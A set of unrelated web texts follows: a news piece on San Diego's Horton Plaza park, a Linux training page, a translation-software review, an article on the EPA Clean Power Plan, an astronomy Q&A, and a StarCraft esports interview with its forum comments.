we'll be assessing over the next year the success of that and make sure that Horton Plaza is the gem that it was always intended to be,” said David Graham, the city’s deputy chief operating officer. Horton Plaza (the grassy park around the fountain) has a long and storied history. It opened soon after Alonzo Horton opened his Horton House hotel in 1870 and took its current form in 1910, when the U.S. Grant Hotel opened on the site of Horton House. Gill designed the park layout as well as the fountain. It’s been the go-to place for protests, celebrations, presidential speeches and countless photo ops. But its half-acre size made it too small for major events and gatherings, its formal layout more pretty than practical. Historic photos show a mix of sailors, office workers, street people and tourists visiting the park. It once housed a weather station and a visitor center, and there was a set of restrooms underground just to the south. In the 1980s as developer Ernest W. Hahn was constructing what is now Westfield Horton Plaza, the city toyed with a radical redesign before the Save Our Heritage Organisation pressed officials to restore the park to its 1910 look. But a year or two after both the mall and park opened in 1985, the homeless moved back into the park and the city removed benches, trash cans and the lawn to deter vagrancy. Roger Showley/U-T The overlook of Horton Plaza Park sometimes becomes a sleeping spot. The overlook of Horton Plaza Park sometimes becomes a sleeping spot. (Roger Showley/U-T) In 2013 when Westfield decided to demolish the former Robinsons-May department store building, that footprint was returned to the city and the newly enlarged space opened last May. Westfield promised to maintain the park and activate it with special events and weekly activities. Last year there were 200 events, mostly modest “Plaza Play” lawn games and “Park Unplugged” live music performances. So far this year there have been only 25 events, all but six being “Plaza Plays.” A replacement is being sought for the Sloan’s ice cream stand that closed a few weeks ago. Burgerim Gourmet Burgers has signed a lease to occupy the south pavilion and is expected to open by Sept. 1. Those improvements can’t come too fast for downtown regulars. Joey Aiello, 59, who has operated Joey’s Shoe Shine just south of the park in a Westfield Horton Plaza breezeway for 12 years and eight years inside the mall previously, said he has observed women showering naked or washing their hair in the plaza, drug deals in the bathrooms, two stabbings, four muggings and “endless other events.” “I love the park but without police there, it’s a nightmare,” he said. Todd Idziorek, 52, who lives elsewhere downtown and drives catering delivery trucks, said he witnessed stepped up police patrols make arrests and ticket people for smoking, fistfights and a man bending over the interactive fountain with his pants down. Milan Aguinaga, 23, who operates the Brooklyn Hot Dog cart outside the entrance to the Lyceum Theatre, said the park first seemed like a patio for downtown high-rise residents and then realized the homeless “have taken over.” “I don’t go there anymore,” she said of the women’s bathroom, after seeing a couple having sex in one of the stalls. Glen Schmidt, whose landscape design firm helped bring off the expansion of Horton Plaza park, said the design has held up as intended — similar to iconic plazas in Europe that are similarly treeless because they are designed for large public gatherings. -man7 .org Training and Consulting Linux and UNIX programming training and consulting by Michael Kerrisk Download the man7.org Training Overview brochure (PDF) Training courses The following courses are all available for onsite delivery, and in some cases are scheduled as public courses. Tailored versions of the above courses are also available for courses delivered onsite. Contact us to discuss your requirements. About the trainer After focusing on programming and writing in more recent years, I am now once more conducting frequent training courses on Linux/UNIX system programming and a number of related low-level programming topics that are of particular relevance for developers of low-level user-space applications in domains ranging from embedded to enterprise server systems. The emphasis of my courses is on providing deep conceptual understanding coupled with intensive in-class practical work. I work closely with my customers, providing personalized assessment of their training needs, and where necessary customizing my courses to those needs. My customers range from small and medium-sized businesses to multinational companies and governments. Past customers include Google, IBM, BMW, Axis Communications, Cisco Systems, Hewlett-Packard, Container Solutions, and the French and British governments. (References from past and current customers are available upon request.) I have a unique set of qualifications and experience that ensure course participants receive training of a very high standard: I have been programming on UNIX systems since 1987 and teaching UNIX system programming courses since 1989 . . I'm the author of The Linux Programming Interface widely acclaimed as the definitive work on Linux system programming. widely acclaimed as the definitive work on Linux system programming. I am actively involved in Linux development—working with kernel developers on testing, review, and design of new Linux kernel-user-space APIs. Since 2004, I have been the maintainer of the Linux man-pages project the manual pages documenting the Linux kernel-user-space and GNU C library APIs. As well as being the project maintainer, I have also written or cowritten around 40% of the 1000+ manual pages provided by the project. For further information about the trainer, as well as many other reasons why you might want to choose man7.org training courses, look here. Consulting I provide consulting expertise in the same areas as the courses listed above. Please contact me to discuss your requirements and my consulting rates. Contact For inquiries about courses and consulting, you can contact us in the following ways: -What do you like best? I've been a SDL Trados user for many years, since I decided, together with my business partner, to move to open-source software. OmegaT is a very stable program: I've been using it for many years and I've experienced just 2 or 3 crashes, mainly caused by lack of resources of my system. OmegaT is very fast, with lots of advanced features. The greatest proof of appreciation is the fact that I've based my professional life on it. I use it on a daily basis to earn my living as a technical translator. A key feature for me and my company is the "team project" feature, that allows several translators to work together on a project in real time. What do you dislike? In a word: nothing. Of course there are a few missing features, such as a "status" field for each translation unit, but I know from the user forum that they're working on it. New versions are regularly released, so it's quite likely that in a few months from now the software will be even more complete. Recommendations to others considering the product I recommend not to stop on the surface. The GUI of OmegaT might be not top-notch, but that's because it's essential and tries not to become the bloatware that many other cat tools have become. What business problems are you solving with the product? What benefits have you realized? -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Nov. 13, 2014, 7:00 PM GMT / Updated Nov. 13, 2014, 8:57 PM GMT It doesn’t sound like much, but the “Clean Power Plan Proposed Rule” is a linchpin of the ambitious U.S.-China climate goals announced this week. It’s also a lightning rod for critics and supporters of President Barack Obama’s climate policies. So far 1.5 million comments about it have been filed — and it’s still more than two weeks before the Dec. 1 deadline for feedback. Rising above the din are 13 economists and legal experts from top universities — Berkeley, University of Chicago, U.C. Davis, Harvard, MIT, Stanford and Yale — who published their take in this week’s issue of the journal Science. The plan can work, and cost effectively, if states use its flexibility to create regional carbon trading programs, or even a national one, the professors said. But whether the states will act, the economists said, “is an open question." Overall, the plan is positive and “an important step for national climate change policy,” Berkeley professor Meredith Fowlie, one of three lead authors, tells NBCNews.com. It can be made more cost effective, the professors said, if states work together in regional carbon trading programs, or even a national program, where states heavy on carbon can pay states low on carbon to take some of their emissions. In the long run, this cap-and-trade system can bring emissions down across the country, the experts said. The proposed rule boils down to this: By 2030, states would have to reduce carbon dioxide emissions from power plants by 30 percent below 2005 levels. And since those plants account for 40 percent of all U.S. CO2 emissions, the plan could make or break the new U.S.-China goals: by 2025, U.S. emissions would be at least 26 percent below 2005 levels — tightening the previous goal of a 17 percent cut by 2020. China would boost renewable energy to make sure its CO2 emissions peak by 2030, the first time it has accepted such a cap. Boosted by a Supreme Court ruling that it had the authority to regulate CO2 under the Clean Air Act, the Environmental Protection Agency in June formalized the proposed rule and started taking comments. The topic of power plants is a hot one: The EPA record for comments is 2.7 million, set earlier this year on proposed carbon pollution standards for new power plants. Critics include the U.S. Chamber of Commerce and the coal industry, which would see power plants quicken their shift away from coal, the dirtiest fossil fuel. The plan “would severely harm the economy, result in job loss, and increase electricity prices,” argues Betsy Monseu, CEO of the American Coal Council. Emboldened by the recent election results, Republicans are poised to use those arguments in attacking Obama's policies. Sen. Mitch McConnell, representing coal producer Kentucky and likely to become Senate majority leader next session, was quick to blast the U.S.-China goals as requiring "the Chinese to do nothing at all for 16 years, while these carbon emission regulations are creating havoc in my state and other states across the country.” The potential costs/benefits are a key area of disagreement. A central EPA estimate puts health and climate benefits in 2030 at $76 billion, with compliance costs at $9 billion — an estimate that the university experts consider indicative of “positive” net benefits, Fowlie says. "Environmental rules are constant targets for litigation. That is the nature of the beast and surely will be again on this rule." On the other hand, a study sponsored by the U.S. Chamber of Commerce concluded the proposed rule would, by 2030, cause the loss of 224,000 jobs annually, increase electricity costs by $289 billion, and lower household incomes by $586 billion. Stanford energy law professor Michael Wara, another author of the analysis out Thursday, says the estimates “all have issues” because the timeframe is still a decade out. Still, he adds, the EPA seems closer to reality, in part because it has to think about surviving future legal challenges. The Chamber-sponsored study, he says, seems “quite speculative” with some assumptions that drive the costs up. Those divergent viewpoints are what the EPA is weighing, but in the long run the rise or fall of the “Clean Power Plan Proposed Rule” could depend on other factors. “If I had to guess I’d say this is going to come down to politics,” says Wara, “to the willingness of Obama to veto” Republican attempts to defund the EPA effort. That, he adds, “and the legal battles.” While the Supreme Court upheld EPA’s authority to use the Clean Air Act to regulate CO2, the next battle is over whether the EPA is overreaching in how it accomplishes that. “Environmental rules are constant targets for litigation,” says Ray Kopp, director of the Center for Climate and Electricity Policy at Resources for the Future, a think tank that has brought together experts with divergent views on the plan. “That is the nature of the beast and surely will be again on this rule.” One of those experts is Jeff Holmstead, who headed the EPA’s air and radiation office under President George W. Bush. Now a lawyer representing power companies, Holmstead predicts the rule will be overturned. The Supreme Court “has also made it clear that EPA can't just do whatever it wants,” he says. “It can only impose regulations that are based on the specific provisions” of the Clean Air Act, and those have “nothing to do with what EPA is now proposing.” Wara is among those who see that possibility as well, especially since the earlier Supreme Court ruling included comments by conservative justices warning the EPA not to “overreach.” “Many smart D.C. lawyers are going to try to show that EPA is stretching beyond the confines of the law,” he says, “and they could win.” -What has the highest temperature in the universe? Date: Tue Aug 19 09:11:39 1997 Posted by Luke Wantuch Grade level: 10-12 School: Secondary City: Cracow State/Province: No state entered. Country: Poland Area of science: Astronomy ID: 871999899.As Message: What has the highest temperature in the universe? This is actually not an easy question! It depends on what you mean by temperature. Here on Earth, in our cozy blanket of air at one atmospheric pressure, we think of temperature as how hot something is. But on a microscopic level, that really means how vigorously molecules and atoms are bumping into each other. The faster they move, the harder they bump, and the higher the temperature. However, have you ever wondered why water at 70 degrees Centigrade might scald you, but air at that temperature won't? Air is less dense than water, so it carries less energy total even if the temperature is the same. The atoms are jiggling just as fast, but there are fewer of them. I bring this up because there can be ridiculously high temperatures in the Universe, but they don't mean much! For example, the Voyager probe measured a temperature of over one billion degrees in the magnetosphere of Uranus. Imagine! But really what it was measuring were particles moving extremely quickly. If you stood (well, floated) in Uranus' magnetosphere, you wouldn't suddenly vaporize. On the contrary, you'd freeze! The particles may be very very hot, but there simply aren't enough of them for them to heat you up. So to answer your question, probably the hottest temperatures reached in the Universe today are in the cores of supernovae (stars that explode), or possibly in the mysterious gamma ray bursters, extremely energetic explosions the cause of which no one knows. But the hottest temperature of all time would have been the Big Bang: since it had all the matter and energy squeezed into one point, it must have had nearly infinite temperature! ©2008 Phil Plait. All Rights Reserved. This page last modified -If you are going to argue about racism in this thread, just don't. It is a pointless argument that merits no valuable discussion whatsoever. If people truly feel so strongly about it, then take it to PMs. Do not muck up this thread with racism arguments. Kim Phan: "We are trying to make sure we are doing what’s best for StarCraft." Text by TeamLiquid ESPORTS Graphics by shiroiusagi While the show is going on people behind the scenes are already planning ahead, thinking about the near and far future, adapting to any challenges that might come up. One of the people primarily responsible for the direction of the esports side of SC2 is Kim Phan. She is responsible for managing the monstrous eSport machinery of Blizzard Entertainment, a beast not easily tamed or satisfied, as new tastes and flavours fall in and out of trend and new challenges arise daily. We were able to spend some time with Kim Phan at the WCS Circuit: Winter Championship in Katowice, Poland, to talk about one great part of this machinery: the World Championship Series. TL.net: What would you say are the biggest positive and the biggest negative points about the new WCS system and what was your thought process behind this radical system change between 2015 and 2016? Kim Phan: Well, first of all we took a look at all the years and what people liked and the StarCraft community is so amazing—from the players, to the influencers, just everyone involved is very vocal about StarCraft and is very passionate about it, so we hear a lot of feedback—and it’s great to be able to receive so many thoughts and a lot of that is taken into account, when we make changes. For 2016 we knew it was going to be the Legacy of the Void launch year and that was a great opportunity for us to think about how we continue growing StarCraft eSports, especially as new players come in to try Legacy of the Void, and the games changes as well with different units that are added. That was almost like another chance to say: Hey, what does the StarCraft landscape look like in terms of competitive play, what is the meta? And I think we wanted to make changes, which would allow more people to compete and enter the system. So how were we able to improve that? The thing that we saw in 2015 was that it was very difficult for a professional player to really stand out and to get noticed in a system where there were a lot of players from Korea in this space. You know, Korea has just always been a very dominant and fierce country when it comes to eSports—they’re just so, so good. And there probably aren’t enough tournaments out there to really accommodate all their skill. So what we saw was not enough growth in other regions, because there weren’t enough moments where we saw—for example in Krakow last year for the Season 3 finals—a moment that was like ‘wow, this is amazing, look at the Polish crowd cheer on MaNa in the finals and there is Lilbow as well’ and it’s just so great to see that energy and to see local heroes shine and these players played really, really well, they took out Hydra and Polt. So how do you cultivate that? I think that influenced a lot of our changes and that is why we decided to go the route of two different ranking systems. One reason is: How do we grow pro players and give them the chance to shine and to show they truly are skilled? It’s wonderful to see all the best players of the world play and not just Korea—certainly the best of the best in StarCraft is in Korea, no doubt about it—, but there is a best of the best in StarCraft all over the world as well and we wanted to be able to put a spotlight on that, and I think that influenced our changes significantly. And at the same time we want people to realize that Korea is the best and we didn’t do a good job previously of promoting the tournaments in Korea, because it’s in a different time zone, in the west it’s really hard to follow—and those are the things we wanted to do better for Korea to really put a spotlight on ‘this is where the best players are, if you want to compete with the best, this is the place to go’. So WCS Korea is still open to everybody, is still a global tournament, but the reality of 'doing really well' is competing against the big bosses again and again. We want to rebroadcast it, talk about the stories more, tell people more about the players. Because if you have it mixed together it’s harder to follow the story. So you can’t really follow the stories of the other local heroes, because they’re not getting a chance to rise. It’s just too much to cover to keep it clear. These are probably the biggest reasons behind these changes and we thought with Legacy of the Void was a great opportunity to do a change like that. What else did we consider? We could have made not a lot of changes at all, but then it probably would’ve taken longer to get players inspired to compete. TL.net: Did you ever discuss going back to the system you had in 2012, with the regional and national championships? People really loved that. There is this famous picture of Stephano with the French flag in hand, being cheered on by the crowd… Kim Phan: Yes, we did consider so many options and this was one of the things we considered as well. But—as you mentioned drastic changes before—we thought going back to a system from 2012 would have been too drastic. Also in order to put together 2012 we had to get a lot of events from all over the world together and from the feedback we got about this it was really hard to follow. It was great for the people who followed their own region and got to see their own heroes, but to follow the stories from across the world was really difficult for a lot of people. So that was something we were mindful of. How can we make the stories easy to follow? So the system now—although it seems like it has two different stories—provides one story here. So you are still able to see Stephano do his flag waving, like Lilbow did now. So I think we have a little bit of a mix of both now, because our Championships will be at live events, so we have more of those moments, but they all have to compete against each other to see who is the best. TL.net: Do you then think that the one event we have had so far—DreamHack in Leipzig—was a promising start to the new system, or is it too early to really tell? Kim Phan: We have seen the positive changes we intended happening, and as this is the second event we are going to continue to see more results, so yes it’s a little early to say, but we are already seeing positive things. That I am really excited about. TL.net: So did you hear a lot of good things from the community? What are these positive signals you get? Kim Phan: Yes, we get a lot of feedback from the community, we continue to do so—of course a big thanks to the teamliquid community and just the StarCraft community as a whole for always telling us what they’re thinking. We are seeing a lot of incoming players rising, and I think that’s exciting, fresh blood is always good, and you are seeing some surprises with Legacy of the Void being so different, people love playing it, so I heard a lot of positive feedback about the game and how it affected eSports. TL.net: Initially the community didn’t react so well to the WCS changes. Were you afraid that you would create a rift between the regions, or between the so-called casual fan camp and the so-called elitist fan camp, which would stay for a long time? Kim Phan: I think every time you introduce change it takes a while for people to form a decision about it. And I will admit we changed WCS year after year, it’s always been different and the community has been very patient in letting us try things and giving feedback. So I can see why it may be challenging when you are really invested into one format and then another change happens. But we really want to do it right and create a system that can continue and be easy to follow, and so we continue to make improvements. And I think we just expect there to be different voices. We are trying to make sure we are doing what’s best for StarCraft and what’s best for the players. TL.net: Many in the community are looking forward to the WCS Global Events, where Foreigners will compete against Koreans, which is a rare occasion now in the new system. But many are worried, because we haven’t heard any real announcements about these events so far. Is there anything you can say about this? Will Blizzard give more incentives to organizers to organize these events? Kim Phan: I am trying to think about what I can say… I do know that there is one event being planned, that hasn’t been announced yet. So I shouldn’t say anything until it’s actually announced, as I don’t know what changes might be happening. But I do think those moments will become very, very special and that’s what I am really excited about. On the flip side of course people say ‘how is that competition going to look like though, when they haven’t played against each other for a while now?’. I don’t remember the year, but one time at IPL they did ‘Korea vs the World’, do you remember that one? TL.net: Yeah. Kim Phan: That was the one where Stephano like… TL.net: …where Stephano almost all-killed Korea. Kim Phan: Yeah, where Stephano almost all-killed them. So I am excited about this. That event gives me hope, that as the skill level of the western players get better and better and better, that’s going to be cool to see. And what else was it? Nation Wars? TL.net: Yeah, Nation Wars. MarineLorD’s moment of triumph. Kim Phan: Oh my goodness, Nation Wars, MarineLorD was insane, so him taking out the whole Korean team was really cool to see. So France won Nation Wars against Korea, which gives me a lot excitement and hope for more moments like that. TL.net: As you know the teamliquid-community is especially interested in the Korean scene, following it religiously. Recently there have been worries about the shrinking talent pool in Korea—our very own stuchiu wrote an article about this on ESPN that really blew up and opened a huge discussion inside the community. Are there plans from Blizzard to step in and help out the grassroots scene there and also abroad? Kim Phan: We will continue to support Korean eSports, we know that that’s where the talent is—and you kind of hit it right there I think, you can’t stop players from retiring, it’s always going to happen. StarCraft is a lot about speed and APM and if you don’t play a lot you’re going to fall behind very quickly. So how do you get the next group of people coming in? We’ve been working with organizers in Korea to build more grassroots tournaments and to help growing that talent. There are things we are already doing, a lot of it behind the scenes which people might not realize as well. The point is something I agree with and we’re working towards improving things. TL.net: Since Proleague is so beloved all over the world, have there been discussions about setting up an official Blizzard team league? Is that something that might come up in the future? Kim Phan: We also love Proleague, we think it’s awesome. And we’ve thought about it. There need to be more teams outside of Korea however in order to build a league. So yeah, we did think about it. But the nature of StarCraft 2 being a 1on1 game and the infrastructure outside of Korea making it harder for teams to practice together is a bigger challenge. So the question is how to grow these things, so you can have enough teams on an even playing field. TL.net: Thank you very much for your time, we wish you the best in the future, please try to show good systems and we will cheer for you! While the show is going on people behind the scenes are already planning ahead, thinking about the near and far future, adapting to any challenges that might come up. One of the people primarily responsible for the direction of the esports side of SC2 is Kim Phan. She is responsible for managing the monstrous eSport machinery of Blizzard Entertainment, a beast not easily tamed or satisfied, as new tastes and flavours fall in and out of trend and new challenges arise daily.We were able to spend some time with Kim Phan at the WCS Circuit: Winter Championship in Katowice, Poland, to talk about one great part of this machinery: the World Championship Series. Draconicfire Profile Joined May 2010 Canada 2561 Posts Last Edited: 2016-03-07 07:30:20 #2 I really do hope they start to do more grassroots stuff in Korea. I was watching a drama recently where they had a scene that took place in a PC Bang in 1999 and everyone was playing StarCraft. Made me kinda sad when I think about going there now and it's all League and other random games. @Drayxs | Drayxs.221 | Drayxs#1802 iMrising Profile Blog Joined March 2012 United States 1074 Posts #3 Thanks for taking the time to interview her (TripleM), and thanks to Kim Pham for taking the time to talk to the community. Long Live Starcraft! Its nice to see these little things that show that Blizzard really does careThanks for taking the time to interview her (TripleM), and thanks to Kim Pham for taking the time to talk to the community.Long Live Starcraft! $O$ | soO Topdoller Profile Joined March 2011 United Kingdom 3860 Posts #4 I really do hope they fund more grassroots in Korea, it is the heart of Starcraft where the most dedicated players emerge from and if goes under then the future of Starcraft as a professional event would be in serious jeopardy calh Profile Joined March 2013 378 Posts #5 All in all rather vacuous. NinjaToss Profile Blog Joined October 2015 Austria 1378 Posts #6 I know KeSPA is actually doing some amateur SCII league and it's casted by Canata and he post the games in his channel. It's really nice of Blizzard to show us that they cares, sometimes it's all that matters I'm sorry for all those that got their hearts broken by Zest | Zest, Bisu, soO, herO, MC, Maru, TY, Rogue, Trap, TaeJa", Favourite foreigners: ShoWTimE, Snute, Serral and Nerchio| KT BEST KT | Brutaxilos Profile Blog Joined July 2010 United States 2381 Posts #7 Blizzard should sponsor NationWars to be an international Proleague. Jangbi favorite player. Forever~ CJ herO the King of IEM. BOMBERRRRRRRR. Sexy Boy Rogue. AKAvg Profile Joined April 2014 Brazil 297 Posts #8 "...We’ve been working with organizers in Korea to build more grassroots tournaments and to help growing that talent. There are things we are already doing, a lot of it behind the scenes which people might not realize as well..." Quite a lot I hope because so far... I find interesting that she admits that Korea is the best is and wishes/hopes/prays that foreign players becomes as good as they are somehow/someway. I truly believe you can't be among the best if you don't train and compete with the best and I hardly think shutting most Koreans out helps with that. A shame, really. heqat Profile Joined October 2011 Switzerland 56 Posts #9 On March 07 2016 17:07 Brutaxilos wrote: Blizzard should sponsor NationWars to be an international Proleague. Yea NationWars deserve more love from Blizzard. It is a great tournament. Yea NationWars deserve more love from Blizzard. It is a great tournament. FrkFrJss Profile Joined April 2015 Canada 1131 Posts #10 On March 07 2016 17:17 AKAvg wrote: "...We’ve been working with organizers in Korea to build more grassroots tournaments and to help growing that talent. There are things we are already doing, a lot of it behind the scenes which people might not realize as well..." Quite a lot I hope because so far... I find interesting that she admits that Korea is the best is and wishes/hopes/prays that foreign players becomes as good as they are somehow/someway. I truly believe you can't be among the best if you don't train and compete with the best and I hardly think shutting most Koreans out helps with that. A shame, really. I agree and disagree. I think that unless all the foreigners moved to Korea and trained in team houses, they probably wouldn't be as good as Koreans. That being said, there a number if examples of both Koreans and foreigners living at home and beating top Koreans without that Korean environment. Besides, look at 2013/2014, I mean, we really didn't see that many foreigners going toe to toe with Koreans. I think Blizzard is correct in trying this for a year and then assessing where the competitive scene is at after Blizzcon. I agree and disagree. I think that unless all the foreigners moved to Korea and trained in team houses, they probably wouldn't be as good as Koreans.That being said, there a number if examples of both Koreans and foreigners living at home and beating top Koreans without that Korean environment.Besides, look at 2013/2014, I mean, we really didn't see that many foreigners going toe to toe with Koreans. I think Blizzard is correct in trying this for a year and then assessing where the competitive scene is at after Blizzcon. "Keep Moving Forward" - Walt Disney usopsama Profile Joined April 2008 6487 Posts Last Edited: 2016-03-07 08:48:11 #11 We are trying to make sure we are doing... what’s best for the players. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock. How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock.How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. deacon.frost Profile Joined February 2013 Czech Republic 7191 Posts #12 On March 07 2016 17:41 usopsama wrote: Show nested quote + We are trying to make sure we are doing... what’s best for the players. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock. How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock.How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. I am still waiting for the win he was training for This Karma thing is gorgeous And the first part - yeah, "we fucked the best players, but we are doing what's best for the players" - I think that's just a pure PR meaningless talk. What is she supposed to say? We fucked Koreans, we applied racist rule, we haven't released book rules yet, but ... we are doing the best for players. Do you want to buy Nova campaign? I am still waiting for the win he was training forThis Karma thing is gorgeousAnd the first part - yeah, "we fucked the best players, but we are doing what's best for the players" - I think that's just a pure PR meaningless talk. What is she supposed to say? We fucked Koreans, we applied racist rule, we haven't released book rules yet, but ... we are doing the best for players. Do you want to buy Nova campaign? I imagine France should be able to take this unless Lilbow is busy practicing for Starcraft III. | KadaverBB is my fairy ban mother. usopsama Profile Joined April 2008 6487 Posts Last Edited: 2016-03-07 10:18:02 #13 On March 07 2016 17:56 deacon.frost wrote: Show nested quote + On March 07 2016 17:41 usopsama wrote: We are trying to make sure we are doing... what’s best for the players. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock. How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. When she says they are doing what's best for the "players," I guess she is really referring to the foreign players. I mean, they really fucked over a lot of passionate and highly-skilled Korean players with their region-lock.How ironic would it be if more foreign players, like Lilbow, go to Blizzcon after practicing only, like, 2 games. I am still waiting for the win he was training for This Karma thing is gorgeous And the first part - yeah, "we fucked the best players, but we are doing what's best for the players" - I think that's just a pure PR meaningless talk. What is she supposed to say? We fucked Koreans, we applied racist rule, we haven't released book rules yet, but ... we are doing the best for players. Do you want to buy Nova campaign? I am still waiting for the win he was training forThis Karma thing is gorgeousAnd the first part - yeah, "we fucked the best players, but we are doing what's best for the players" - I think that's just a pure PR meaningless talk. What is she supposed to say? We fucked Koreans, we applied racist rule, we haven't released book rules yet, but ... we are doing the best for players. Do you want to buy Nova campaign? Agreed. I shouldn't be reading so deeply into the empty PR talk. Agreed. I shouldn't be reading so deeply into the empty PR talk. Elentos Profile Blog Joined February 2015 46197 Posts #14 We also love Proleague, we think it’s awesome. And we’ve thought about it. There need to be more teams outside of Korea however in order to build a league. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more. You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more.You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Splyce flair now | Where is knowledge? deacon.frost Profile Joined February 2013 Czech Republic 7191 Posts #15 On March 07 2016 18:00 Elentos wrote: Show nested quote + We also love Proleague, we think it’s awesome. And we’ve thought about it. There need to be more teams outside of Korea however in order to build a league. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more. You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more.You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. Not sure what happened with ATC. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. http://www.teamliquid.net/forum/starcraft-2/496820-foreign-sc2-doesnt-need-wcs-it-needs-a-proleague?page=2#37 Not sure what happened with ATC. I imagine France should be able to take this unless Lilbow is busy practicing for Starcraft III. | KadaverBB is my fairy ban mother. Makro Profile Joined March 2011 France 16491 Posts #16 thanks for that interview Matthew 5:10 "Blessed are those who are persecuted because of shitposting, for theirs is the kingdom of heaven". Diabolique Profile Joined June 2015 Czech Republic 5118 Posts Last Edited: 2016-03-07 09:14:26 #17 What would you say are the biggest positive and the biggest negative points about the new WCS system? "- Blaaa blaaa blaaa, everything is great, it is an opportunity, it is exciting, blaaa blaaa blaaaa." A bullshit PR talk without a single reasonable answer. Actually no. There is one good and interesting answer - they are preparing 1 (ONE) global event. Well, everybody expected that there will be at least the ONE event. Unfortunately, it seems, there will be really only ONE event. "you can’t stop players from retiring" She is a really, really nice lady. And I really, really don't like her. sOs | Rogue | Maru | Trap | Scarlett | Snute | MC TheOneAboveU Profile Blog Joined February 2011 Germany 2019 Posts #18 On March 07 2016 18:10 deacon.frost wrote: Show nested quote + On March 07 2016 18:00 Elentos wrote: We also love Proleague, we think it’s awesome. And we’ve thought about it. There need to be more teams outside of Korea however in order to build a league. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more. You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more.You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. Not sure what happened with ATC. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. http://www.teamliquid.net/forum/starcraft-2/496820-foreign-sc2-doesnt-need-wcs-it-needs-a-proleague?page=2#37 Not sure what happened with ATC. You need teams with the right amount of infrastructure and logistics to actually keep up with a long-running league, and in the best case these teams should be more or less even in skill and player numbers, so it makes for a competitive tournament. So yes, there are more teams outside of Korea than in Korea, but the number of teams fullfilling the requirements for such a league is quite small I think. You need teams with the right amount of infrastructure and logistics to actually keep up with a long-running league, and in the best case these teams should be more or less even in skill and player numbers, so it makes for a competitive tournament.So yes, there are more teams outside of Korea than in Korea, but the number of teams fullfilling the requirements for such a league is quite small I think. Writer also known as TripleM | @TL_TripleM deacon.frost Profile Joined February 2013 Czech Republic 7191 Posts #19 On March 07 2016 18:17 TheOneAboveU wrote: Show nested quote + On March 07 2016 18:10 deacon.frost wrote: On March 07 2016 18:00 Elentos wrote: We also love Proleague, we think it’s awesome. And we’ve thought about it. There need to be more teams outside of Korea however in order to build a league. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more. You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Dafuq? There's more pro teams outside of Korea than in Korea. A lot more.You can maybe say foreign Proleague isn't realistic because foreign SC2 doesn't all come together in one city like in Korea, but saying there have to be more teams is just... strange. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. Not sure what happened with ATC. Also all the attempts failed on the foreign side. I remember TB(Clan Wars) saying that teams were always late(e.g. http://www.teamliquid.net/forum/starcraft-2/496820-foreign-sc2-doesnt-need-wcs-it-needs-a-proleague?page=2#37 Not sure what happened with ATC. You need teams with the right amount of infrastructure and logistics to actually keep up with a long-running league, and in the best case these teams should be more or less even in skill and player numbers, so it makes for a competitive tournament. So yes, there are more teams outside of Korea than in Korea, but the number of teams fullfilling the requirements for such a league is quite small I think. You need teams with the right amount of infrastructure and logistics to actually keep up with a long-running league, and in the best case these teams should be more or less even in skill and player numbers, so it makes for a competitive tournament.So yes, there are more teams outside of Korea than in Korea, but the number of teams fullfilling the requirements for such a league is quite small I think. I think he mentioned EG being late, not caring about training on specific maps and other interesting stuff. But I may be wrong, it was a long time I think he mentioned EG being late, not caring about training on specific maps and other interesting stuff. But I may be wrong, it was a long time I imagine France should be able to take this unless Lilbow is busy practicing for Starcraft III. | KadaverBB is my fairy ban mother. Chaggi Profile Joined August 2010 Korea (South) 1934 Posts #20 Beyond everything that's happened, this interview doesn't say shit that we didn't already know. I'm glad to see more life in the foreign scene but it still doesn't stack up anywhere close to what Korea offers. It was interesting watching some players I've never seen at IEM, but I personally didn't stick around for any games other than Major vs Snute cause it simply wasn't fun to watch not-top tier play. 1 2 3 4 5 13 14 15 Next All -Transgender Law Center hails the recent decision by the American Medical Association (AMA) to pass a resolution stating “That our American Medical Association support policies that allow for a change of sex designation on birth certificates for transgender individuals based upon verification by a physician that the individual has undergone transition according to applicable medical standards of care.” Click to tweet “Thank you AMA for supporting transgender health care!” This important resolution recognizes that how a transgender person 